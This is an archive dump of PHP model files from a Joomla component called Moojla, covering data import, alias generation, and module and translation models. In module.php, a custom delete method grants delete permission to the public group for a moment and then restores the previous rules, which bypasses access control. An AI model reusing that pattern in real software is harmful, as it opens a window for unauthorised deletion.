				$hasAlias		= $this->getAliasesUsed($table);
				// prosses the data
				foreach($data['array'] as $row)
				{
					$found = false;
					if (isset($row[$id_key]) && is_numeric($row[$id_key])
&& $row[$id_key] > 0)
					{
						// raw items import & update!
						$query = $db->getQuery(true);
						$query
							->select('version')
							->from($db->quoteName('#__moojla_'.$table))
							->where($db->quoteName('id') . ' = '.
$db->quote($row[$id_key]));
						// Reset the query using our newly populated query object.
						$db->setQuery($query);
						$db->execute();
						$found = $db->getNumRows();
					}
					
					if($found && $canEdit)
					{
						// update item
						$id		= $row[$id_key];
						$version	= $db->loadResult();
						// reset all buckets
						$query		= $db->getQuery(true);
						$fields	= array();
						// Fields to update.
						foreach($row as $key => $cell)
						{
							// ignore column
							if ('IGNORE' == $target[$key])
							{
								continue;
							}
							// update modified
							if ('modified_by' == $target[$key])
							{
								continue;
							}
							// update modified
							if ('modified' == $target[$key])
							{
								continue;
							}
							// update version
							if ('version' == $target[$key])
							{
								$cell = (int) $version + 1;
							}
							// verify publish authority
							if ('published' == $target[$key] && !$canState)
							{
								continue;
							}
							// set to update array
							if(in_array($key, $data['target_headers']) &&
is_numeric($cell))
							{
								$fields[] = $db->quoteName($target[$key]) . ' = ' .
$cell;
							}
							elseif(in_array($key, $data['target_headers']) &&
is_string($cell))
							{
								$fields[] = $db->quoteName($target[$key]) . ' = ' .
$db->quote($cell);
							}
							elseif(in_array($key, $data['target_headers']) &&
is_null($cell))
							{
								// if import data is null then set empty
								$fields[] = $db->quoteName($target[$key]) . " =
''";
							}
						}
						// load the defaults
						$fields[]	= $db->quoteName('modified_by') . ' =
' . $db->quote($user->id);
						$fields[]	= $db->quoteName('modified') . ' = '
. $db->quote($todayDate);
						// Conditions for which records should be updated.
						$conditions = array(
							$db->quoteName('id') . ' = ' . $id
						);
						
						$query->update($db->quoteName('#__moojla_'.$table))->set($fields)->where($conditions);
						$db->setQuery($query);
						$db->execute();
					}
					elseif ($canCreate)
					{
						// insert item
						$query = $db->getQuery(true);
						// reset all buckets
						$columns	= array();
						$values	= array();
						$version	= false;
						// Insert columns. Insert values.
						foreach($row as $key => $cell)
						{
							// ignore column
							if ('IGNORE' == $target[$key])
							{
								continue;
							}
							// remove id
							if ('id' == $target[$key])
							{
								continue;
							}
							// update created
							if ('created_by' == $target[$key])
							{
								continue;
							}
							// update created
							if ('created' == $target[$key])
							{
								continue;
							}
							// Make sure the alias is incremented
							if ('alias' == $target[$key])
							{
								$cell = $this->getAlias($cell,$table);
							}
							// update version
							if ('version' == $target[$key])
							{
								$cell = 1;
								$version = true;
							}
							// set to insert array
							if(in_array($key, $data['target_headers']) &&
is_numeric($cell))
							{
								$columns[]	= $target[$key];
								$values[]	= $cell;
							}
							elseif(in_array($key, $data['target_headers']) &&
is_string($cell))
							{
								$columns[]	= $target[$key];
								$values[]	= $db->quote($cell);
							}
							elseif(in_array($key, $data['target_headers']) &&
is_null($cell))
							{
								// if import data is null then set empty
								$columns[]	= $target[$key];
								$values[]	= "''";
							}
						}
						// load the defaults
						$columns[]	= 'created_by';
						$values[]	= $db->quote($user->id);
						$columns[]	= 'created';
						$values[]	= $db->quote($todayDate);
						if (!$version)
						{
							$columns[]	= 'version';
							$values[]	= 1;
						}
						// Prepare the insert query.
						$query
							->insert($db->quoteName('#__moojla_'.$table))
							->columns($db->quoteName($columns))
							->values(implode(',', $values));
						// Set the query using our newly populated query object and execute
it.
						$db->setQuery($query);
						$done = $db->execute();
						if ($done)
						{
							$aId = $db->insertid();
							// make sure the access of asset is set
							MoojlaHelper::setAsset($aId,$table);
						}
					}
					else
					{
						return false;
					}
				}
				return true;
			}
		}
		return false;
	}

	protected function getAlias($name,$type = false)
	{
		// sanitize the name to an alias
		if (JFactory::getConfig()->get('unicodeslugs') == 1)
		{
			$alias = JFilterOutput::stringURLUnicodeSlug($name);
		}
		else
		{
			$alias = JFilterOutput::stringURLSafe($name);
		}
		// must be a uniqe alias
		if ($type)
		{
			return $this->getUniqe($alias,'alias',$type);
		}
		return $alias;
	}
	
	/**
	 * Method to generate a uniqe value.
	 *
	 * @param   string  $field name.
	 * @param   string  $value data.
	 * @param   string  $type table.
	 *
	 * @return  string  New value.
	 */
	protected function getUniqe($value,$field,$type)
	{
		// insure the filed is always uniqe
		while (isset($this->uniqeValueArray[$type][$field][$value]))
		{
			$value = JString::increment($value, 'dash');
		}
		$this->uniqeValueArray[$type][$field][$value] = $value;
		return $value;
	}
	
	protected function getAliasesUsed($table)
	{
		// Get a db connection.
		$db = JFactory::getDbo();
		// first we check if there is a alias column
		$columns = $db->getTableColumns('#__moojla_'.$table);
		if(isset($columns['alias'])){
			// Create a new query object.
			$query = $db->getQuery(true);
			$query->select($db->quoteName(array('alias')));
			$query->from($db->quoteName('#__moojla_'.$table));
			$db->setQuery($query);
			$db->execute();
			if ($db->getNumRows())
			{
				$aliases = $db->loadColumn();
				foreach($aliases as $alias)
				{
					$this->uniqeValueArray[$table]['alias'][$alias] = $alias;
				}
			}
			return true;
		}
		return false;
	}
}
models/index.html000064400000000054151165724400010030
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>models/languagetranslation.php000064400000010336151165724400012612
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		languagetranslation.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Moojla Languagetranslation Model
 */
class MoojlaModelLanguagetranslation extends JModelItem
{
	/**
	 * Model context string.
	 *
	 * @var        string
	 */
	protected $_context = 'com_moojla.languagetranslation';

        /**
	 * Model user data.
	 *
	 * @var        strings
	 */
	protected $user;
	protected $userId;
	protected $guest;
	protected $groups;
	protected $levels;
	protected $app;
	protected $input;
	protected $uikitComp;

	/**
	 * @var object item
	 */
	protected $item;

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @since   1.6
	 *
	 * @return void
	 */
	protected function populateState()
	{
		$this->app = JFactory::getApplication();
		$this->input = $this->app->input;
		// Get the item main id
		$id = $this->input->getInt('id', null);
		$this->setState('languagetranslation.id', $id);

		// Load the parameters.
		parent::populateState();
	}

	/**
	 * Method to get article data.
	 *
	 * @param   integer  $pk  The id of the article.
	 *
	 * @return  mixed  Menu item data object on success, false on failure.
	 */
	public function getItem($pk = null)
	{
		$this->user	= JFactory::getUser();
		// check if this user has permission to access item
		if (!$this->user->authorise('languagetranslation.access',
'com_moojla'))
		{
			$app = JFactory::getApplication();
			$app->enqueueMessage(JText::_('Not authorised!'),
'error');
			// redirect away if not a correct to cPanel/default view
			$app->redirect('index.php?option=com_moojla');
			return false;
		}
		$this->userId = $this->user->get('id');
		$this->guest = $this->user->get('guest');
		$this->groups = $this->user->get('groups');
		$this->authorisedGroups = $this->user->getAuthorisedGroups();
		$this->levels = $this->user->getAuthorisedViewLevels();
		$this->initSet = true;

		$pk = (!empty($pk)) ? $pk : (int)
$this->getState('languagetranslation.id');
		
		if ($this->_item === null)
		{
			$this->_item = array();
		}

		if (!isset($this->_item[$pk]))
		{
			try
			{
				// Get a db connection.
				$db = JFactory::getDbo();

				// Create a new query object.
				$query = $db->getQuery(true);

				// Get data

/***[JCBGUI.dynamic_get.php_custom_get.62.$$$$]***/
return array();
/***[/JCBGUI$$$$]***/


				// Reset the query using our newly populated query object.
				$db->setQuery($query);
				// Load the results as a stdClass object.
				$data = $db->loadObject();

				if (empty($data))
				{
					$app = JFactory::getApplication();
					// If no data is found redirect to default page and show warning.
					$app->enqueueMessage(JText::_('COM_MOOJLA_NOT_FOUND_OR_ACCESS_DENIED'),
'warning');
					$app->redirect('index.php?option=com_moojla');
					return false;
				}

				// set data object to item.
				$this->_item[$pk] = $data;
			}
			catch (Exception $e)
			{
				if ($e->getCode() == 404)
				{
					// Need to go thru the error handler to allow Redirect to work.
					JError::raiseWarning(404, $e->getMessage());
				}
				else
				{
					$this->setError($e);
					$this->_item[$pk] = false;
				}
			}
		}

		return $this->_item[$pk];
	}
}
models/module.php000064400000055251151165724400010042 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		module.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Moojla Module Model
 */
class MoojlaModelModule extends JModelAdmin
{
	/**
	 * The tab layout fields array.
	 *
	 * @var      array
	 */
	protected $tabLayoutFields = array(
		'details' => array(
			'left' => array(
				'module_section_id',
				'module_id',
				'visible',
				'uservisible',
				'name',
				'modname',
				'url',
				'description',
				'modicon'
			)
		)
	);

	/**
	 * @var        string    The prefix to use with controller messages.
	 * @since   1.6
	 */
	protected $text_prefix = 'COM_MOOJLA';

	/**
	 * The type alias for this content type.
	 *
	 * @var      string
	 * @since    3.2
	 */
	public $typeAlias = 'com_moojla.module';

	/**
	 * Returns a Table object, always creating it
	 *
	 * @param   type    $type    The table type to instantiate
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable  A database object
	 *
	 * @since   1.6
	 */
	public function getTable($type = 'module', $prefix =
'MoojlaTable', $config = array())
	{
		// add table path for when model gets used from other component
		$this->addTablePath(JPATH_ADMINISTRATOR .
'/components/com_moojla/tables');
		// get instance of the table
		return JTable::getInstance($type, $prefix, $config);
	}


/***[JCBGUI.admin_view.php_model.132.$$$$]***/
  public function myDelete($pk){
    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select($db->quoteName(array('rules',
'id')));
    $query->from($db->quoteName('#__assets'));
    $query->where($db->quoteName('name') . ' = '
. $db->quote('com_moojla'));
    $db->setQuery($query);
    $results = $db->loadObjectList();

    $acls = json_decode($results[0]->rules);

    $deleteAcl = null;
    $permission = 'core.delete';
    if(!property_exists($acls, $permission))
    {
      $acls->$permission = new stdClass();
    }

    $pub = '1';

    $acls->$permission->$pub = 1;
    $obj = new stdClass();
    $obj->id = $results[0]->id;
    $obj->rules = json_encode($acls);
    JFactory::getDbo()->updateObject('#__assets', $obj,
'id');

    $obj = new stdClass();
    $obj->id = $pk;
    $obj->published = -2;
    JFactory::getDbo()->updateObject('#__moojla_module', $obj,
'id'); // trash item

    $pks = array($pk);
    $res = $this->delete($pks);

    $obj = new stdClass();
    $obj->id = $results[0]->id;
    $obj->rules = $results[0]->rules;
    JFactory::getDbo()->updateObject('#__assets', $obj,
'id');

    return $res;
  }/***[/JCBGUI$$$$]***/

    
	/**
	 * Method to get a single record.
	 *
	 * @param   integer  $pk  The id of the primary key.
	 *
	 * @return  mixed  Object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getItem($pk = null)
	{
		if ($item = parent::getItem($pk))
		{
			if (!empty($item->params) && !is_array($item->params))
			{
				// Convert the params field to an array.
				$registry = new Registry;
				$registry->loadString($item->params);
				$item->params = $registry->toArray();
			}

			if (!empty($item->metadata))
			{
				// Convert the metadata field to an array.
				$registry = new Registry;
				$registry->loadString($item->metadata);
				$item->metadata = $registry->toArray();
			}
		}

		return $item;
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data
(default case), false if not.
	 * @param   array    $options   Optional array of options for the form
creation.
	 *
	 * @return  mixed  A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true, $options =
array('control' => 'jform'))
	{
		// set load data option
		$options['load_data'] = $loadData;
		// check if xpath was set in options
		$xpath = false;
		if (isset($options['xpath']))
		{
			$xpath = $options['xpath'];
			unset($options['xpath']);
		}
		// check if clear form was set in options
		$clear = false;
		if (isset($options['clear']))
		{
			$clear = $options['clear'];
			unset($options['clear']);
		}

		// Get the form.
		$form = $this->loadForm('com_moojla.module',
'module', $options, $clear, $xpath);

		if (empty($form))
		{
			return false;
		}

		$jinput = JFactory::getApplication()->input;

		// The front end calls this model and uses a_id to avoid id clashes so we
need to check for that first.
		if ($jinput->get('a_id'))
		{
			$id = $jinput->get('a_id', 0, 'INT');
		}
		// The back end uses id so we use that the rest of the time and set it to
0 by default.
		else
		{
			$id = $jinput->get('id', 0, 'INT');
		}

		$user = JFactory::getUser();

		// Check for existing item.
		// Modify the form based on Edit State access controls.
		if ($id != 0 &&
(!$user->authorise('core.edit.state',
'com_moojla.module.' . (int) $id))
			|| ($id == 0 &&
!$user->authorise('core.edit.state', 'com_moojla')))
		{
			// Disable fields for display.
			$form->setFieldAttribute('ordering', 'disabled',
'true');
			$form->setFieldAttribute('published', 'disabled',
'true');
			// Disable fields while saving.
			$form->setFieldAttribute('ordering', 'filter',
'unset');
			$form->setFieldAttribute('published', 'filter',
'unset');
		}
		// If this is a new item insure the greated by is set.
		if (0 == $id)
		{
			// Set the created_by to this user
			$form->setValue('created_by', null, $user->id);
		}
		// Modify the form based on Edit Creaded By access controls.
		if (!$user->authorise('core.edit.created_by',
'com_moojla'))
		{
			// Disable fields for display.
			$form->setFieldAttribute('created_by',
'disabled', 'true');
			// Disable fields for display.
			$form->setFieldAttribute('created_by',
'readonly', 'true');
			// Disable fields while saving.
			$form->setFieldAttribute('created_by', 'filter',
'unset');
		}
		// Modify the form based on Edit Creaded Date access controls.
		if (!$user->authorise('core.edit.created',
'com_moojla'))
		{
			// Disable fields for display.
			$form->setFieldAttribute('created', 'disabled',
'true');
			// Disable fields while saving.
			$form->setFieldAttribute('created', 'filter',
'unset');
		}
		// Only load these values if no id is found
		if (0 == $id)
		{
			// Set redirected view name
			$redirectedView = $jinput->get('ref', null,
'STRING');
			// Set field name (or fall back to view name)
			$redirectedField = $jinput->get('field', $redirectedView,
'STRING');
			// Set redirected view id
			$redirectedId = $jinput->get('refid', 0, 'INT');
			// Set field id (or fall back to redirected view id)
			$redirectedValue = $jinput->get('field_id', $redirectedId,
'INT');
			if (0 != $redirectedValue && $redirectedField)
			{
				// Now set the local-redirected field default value
				$form->setValue($redirectedField, null, $redirectedValue);
			}
		}
		return $form;
	}

	/**
	 * Method to get the script that have to be included on the form
	 *
	 * @return string	script files
	 */
	public function getScript()
	{
		return 'media/com_moojla/js/module.js';
	}
    
	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the
permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canDelete($record)
	{
		if (!empty($record->id))
		{
			if ($record->published != -2)
			{
				return;
			}

			$user = JFactory::getUser();
			// The record has been set. Check the record permissions.
			return $user->authorise('core.delete',
'com_moojla.module.' . (int) $record->id);
		}
		return false;
	}

	/**
	 * Method to test whether a record can have its state edited.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to change the state of the record.
Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canEditState($record)
	{
		$user = JFactory::getUser();
		$recordId = (!empty($record->id)) ? $record->id : 0;

		if ($recordId)
		{
			// The record has been set. Check the record permissions.
			$permission = $user->authorise('core.edit.state',
'com_moojla.module.' . (int) $recordId);
			if (!$permission && !is_null($permission))
			{
				return false;
			}
		}
		// In the absense of better information, revert to the component
permissions.
		return parent::canEditState($record);
	}
    
	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param	array	$data	An array of input data.
	 * @param	string	$key	The name of the key for the primary key.
	 *
	 * @return	boolean
	 * @since	2.5
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// Check specific edit permission then general edit permission.

		return JFactory::getUser()->authorise('core.edit',
'com_moojla.module.'. ((int) isset($data[$key]) ? $data[$key] :
0)) or parent::allowEdit($data, $key);
	}
    
	/**
	 * Prepare and sanitise the table data prior to saving.
	 *
	 * @param   JTable  $table  A JTable object.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function prepareTable($table)
	{
		$date = JFactory::getDate();
		$user = JFactory::getUser();
		
		if (isset($table->name))
		{
			$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);
		}
		
		if (isset($table->alias) && empty($table->alias))
		{
			$table->generateAlias();
		}
		
		if (empty($table->id))
		{
			$table->created = $date->toSql();
			// set the user
			if ($table->created_by == 0 || empty($table->created_by))
			{
				$table->created_by = $user->id;
			}
			// Set ordering to the last item if not set
			if (empty($table->ordering))
			{
				$db = JFactory::getDbo();
				$query = $db->getQuery(true)
					->select('MAX(ordering)')
					->from($db->quoteName('#__moojla_module'));
				$db->setQuery($query);
				$max = $db->loadResult();

				$table->ordering = $max + 1;
			}
		}
		else
		{
			$table->modified = $date->toSql();
			$table->modified_by = $user->id;
		}
        
		if (!empty($table->id))
		{
			// Increment the items version number.
			$table->version++;
		}
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData() 
	{
		// Check the session for previously entered form data.
		$data =
JFactory::getApplication()->getUserState('com_moojla.edit.module.data',
array());

		if (empty($data))
		{
			$data = $this->getItem();
			// run the perprocess of the data
			$this->preprocessData('com_moojla.module', $data);
		}

		return $data;
	}

	/**
	 * Method to get the unique fields of this table.
	 *
	 * @return  mixed  An array of field names, boolean false if none is set.
	 *
	 * @since   3.0
	 */
	protected function getUniqueFields()
	{
		return array('module_id');
	}
	
	/**
	 * Method to delete one or more records.
	 *
	 * @param   array  &$pks  An array of record primary keys.
	 *
	 * @return  boolean  True if successful, false if an error occurs.
	 *
	 * @since   12.2
	 */
	public function delete(&$pks)
	{
		if (!parent::delete($pks))
		{
			return false;
		}
		
		return true;
	}

	/**
	 * Method to change the published state of one or more records.
	 *
	 * @param   array    &$pks   A list of the primary keys to change.
	 * @param   integer  $value  The value of the published state.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   12.2
	 */
	public function publish(&$pks, $value = 1)
	{
		if (!parent::publish($pks, $value))
		{
			return false;
		}
		
		return true;
        }
    
	/**
	 * Method to perform batch operations on an item or a set of items.
	 *
	 * @param   array  $commands  An array of commands to perform.
	 * @param   array  $pks       An array of item ids.
	 * @param   array  $contexts  An array of item contexts.
	 *
	 * @return  boolean  Returns true on success, false on failure.
	 *
	 * @since   12.2
	 */
	public function batch($commands, $pks, $contexts)
	{
		// Sanitize ids.
		$pks = array_unique($pks);
		ArrayHelper::toInteger($pks);

		// Remove any values of zero.
		if (array_search(0, $pks, true))
		{
			unset($pks[array_search(0, $pks, true)]);
		}

		if (empty($pks))
		{
			$this->setError(JText::_('JGLOBAL_NO_ITEM_SELECTED'));
			return false;
		}

		$done = false;

		// Set some needed variables.
		$this->user			= JFactory::getUser();
		$this->table			= $this->getTable();
		$this->tableClassName		= get_class($this->table);
		$this->contentType		= new JUcmType;
		$this->type			=
$this->contentType->getTypeByTable($this->tableClassName);
		$this->canDo			= MoojlaHelper::getActions('module');
		$this->batchSet			= true;

		if (!$this->canDo->get('core.batch'))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
			return false;
		}
        
		if ($this->type == false)
		{
			$type = new JUcmType;
			$this->type = $type->getTypeByAlias($this->typeAlias);
		}

		$this->tagsObserver =
$this->table->getObserverOfClass('JTableObserverTags');

		if (!empty($commands['move_copy']))
		{
			$cmd = ArrayHelper::getValue($commands, 'move_copy',
'c');

			if ($cmd == 'c')
			{
				$result = $this->batchCopy($commands, $pks, $contexts);

				if (is_array($result))
				{
					foreach ($result as $old => $new)
					{
						$contexts[$new] = $contexts[$old];
					}
					$pks = array_values($result);
				}
				else
				{
					return false;
				}
			}
			elseif ($cmd == 'm' && !$this->batchMove($commands,
$pks, $contexts))
			{
				return false;
			}

			$done = true;
		}

		if (!$done)
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));

			return false;
		}

		// Clear the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Batch copy items to a new category or current.
	 *
	 * @param   integer  $values    The new values.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  mixed  An array of new IDs on success, boolean false on
failure.
	 *
	 * @since 12.2
	 */
	protected function batchCopy($values, $pks, $contexts)
	{
		if (empty($this->batchSet))
		{
			// Set some needed variables.
			$this->user 		= JFactory::getUser();
			$this->table 		= $this->getTable();
			$this->tableClassName	= get_class($this->table);
			$this->canDo		= MoojlaHelper::getActions('module');
		}

		if (!$this->canDo->get('core.create') ||
!$this->canDo->get('core.batch'))
		{
			return false;
		}

		// get list of unique fields
		$uniqueFields = $this->getUniqueFields();
		// remove move_copy from array
		unset($values['move_copy']);

		// make sure published is set
		if (!isset($values['published']))
		{
			$values['published'] = 0;
		}
		elseif (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
		{
				$values['published'] = 0;
		}

		$newIds = array();
		// Parent exists so let's proceed
		while (!empty($pks))
		{
			// Pop the first ID off the stack
			$pk = array_shift($pks);

			$this->table->reset();

			// only allow copy if user may edit this item.
			if (!$this->user->authorise('core.edit',
$contexts[$pk]))
			{
				// Not fatal error
				$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
				continue;
			}

			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);
					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
					continue;
				}
			}

			// Only for strings
			if (MoojlaHelper::checkString($this->table->module_id) &&
!is_numeric($this->table->module_id))
			{
				$this->table->module_id =
$this->generateUnique('module_id',$this->table->module_id);
			}

			// insert all set values
			if (MoojlaHelper::checkArray($values))
			{
				foreach ($values as $key => $value)
				{
					if (strlen($value) > 0 && isset($this->table->$key))
					{
						$this->table->$key = $value;
					}
				}
			}

			// update all unique fields
			if (MoojlaHelper::checkArray($uniqueFields))
			{
				foreach ($uniqueFields as $uniqueField)
				{
					$this->table->$uniqueField =
$this->generateUnique($uniqueField,$this->table->$uniqueField);
				}
			}

			// Reset the ID because we are making a copy
			$this->table->id = 0;

			// TODO: Deal with ordering?
			// $this->table->ordering = 1;

			// Check the row.
			if (!$this->table->check())
			{
				$this->setError($this->table->getError());

				return false;
			}

			if (!empty($this->type))
			{
				$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
			}

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}

			// Get the new item ID
			$newId = $this->table->get('id');

			// Add the new ID to the array
			$newIds[$pk] = $newId;
		}

		// Clean the cache
		$this->cleanCache();

		return $newIds;
	}

	/**
	 * Batch move items to a new category
	 *
	 * @param   integer  $value     The new category ID.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  boolean  True if successful, false otherwise and internal
error is set.
	 *
	 * @since 12.2
	 */
	protected function batchMove($values, $pks, $contexts)
	{
		if (empty($this->batchSet))
		{
			// Set some needed variables.
			$this->user		= JFactory::getUser();
			$this->table		= $this->getTable();
			$this->tableClassName	= get_class($this->table);
			$this->canDo		= MoojlaHelper::getActions('module');
		}

		if (!$this->canDo->get('core.edit') &&
!$this->canDo->get('core.batch'))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
			return false;
		}

		// make sure published only updates if user has the permission.
		if (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
		{
			unset($values['published']);
		}
		// remove move_copy from array
		unset($values['move_copy']);

		// Parent exists so we proceed
		foreach ($pks as $pk)
		{
			if (!$this->user->authorise('core.edit',
$contexts[$pk]))
			{
				$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
				return false;
			}

			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);
					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
					continue;
				}
			}

			// insert all set values.
			if (MoojlaHelper::checkArray($values))
			{
				foreach ($values as $key => $value)
				{
					// Do special action for access.
					if ('access' === $key && strlen($value) > 0)
					{
						$this->table->$key = $value;
					}
					elseif (strlen($value) > 0 &&
isset($this->table->$key))
					{
						$this->table->$key = $value;
					}
				}
			}


			// Check the row.
			if (!$this->table->check())
			{
				$this->setError($this->table->getError());

				return false;
			}

			if (!empty($this->type))
			{
				$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
			}

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}
		}

		// Clean the cache
		$this->cleanCache();

		return true;
	}
	
	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		$input	= JFactory::getApplication()->input;
		$filter	= JFilterInput::getInstance();
        
		// set the metadata to the Item Data
		if (isset($data['metadata']) &&
isset($data['metadata']['author']))
		{
			$data['metadata']['author'] =
$filter->clean($data['metadata']['author'],
'TRIM');
            
			$metadata = new JRegistry;
			$metadata->loadArray($data['metadata']);
			$data['metadata'] = (string) $metadata;
		}

		// Set the empty visible item to data
		if (!isset($data['visible']))
		{
			$data['visible'] = '';
		}

		// Set the empty uservisible item to data
		if (!isset($data['uservisible']))
		{
			$data['uservisible'] = '';
		}
        
		// Set the Params Items to data
		if (isset($data['params']) &&
is_array($data['params']))
		{
			$params = new JRegistry;
			$params->loadArray($data['params']);
			$data['params'] = (string) $params;
		}

		// Alter the unique field for save as copy
		if ($input->get('task') === 'save2copy')
		{
			// Automatic handling of other unique fields
			$uniqueFields = $this->getUniqueFields();
			if (MoojlaHelper::checkArray($uniqueFields))
			{
				foreach ($uniqueFields as $uniqueField)
				{
					$data[$uniqueField] =
$this->generateUnique($uniqueField,$data[$uniqueField]);
				}
			}
		}
		
		if (parent::save($data))
		{
			return true;
		}
		return false;
	}
	
	/**
	 * Method to generate a unique value.
	 *
	 * @param   string  $field name.
	 * @param   string  $value data.
	 *
	 * @return  string  New value.
	 *
	 * @since   3.0
	 */
	protected function generateUnique($field,$value)
	{

		// set field value unique
		$table = $this->getTable();

		while ($table->load(array($field => $value)))
		{
			$value = StringHelper::increment($value);
		}

		return $value;
	}

	/**
	 * Method to change the title
	 *
	 * @param   string   $title   The title.
	 *
	 * @return	array  Contains the modified title and alias.
	 *
	 */
	protected function _generateNewTitle($title)
	{

		// Alter the title
		$table = $this->getTable();

		while ($table->load(array('title' => $title)))
		{
			$title = StringHelper::increment($title);
		}

		return $title;
	}
}
models/modules.php000064400000020536151165724400010223 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		modules.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

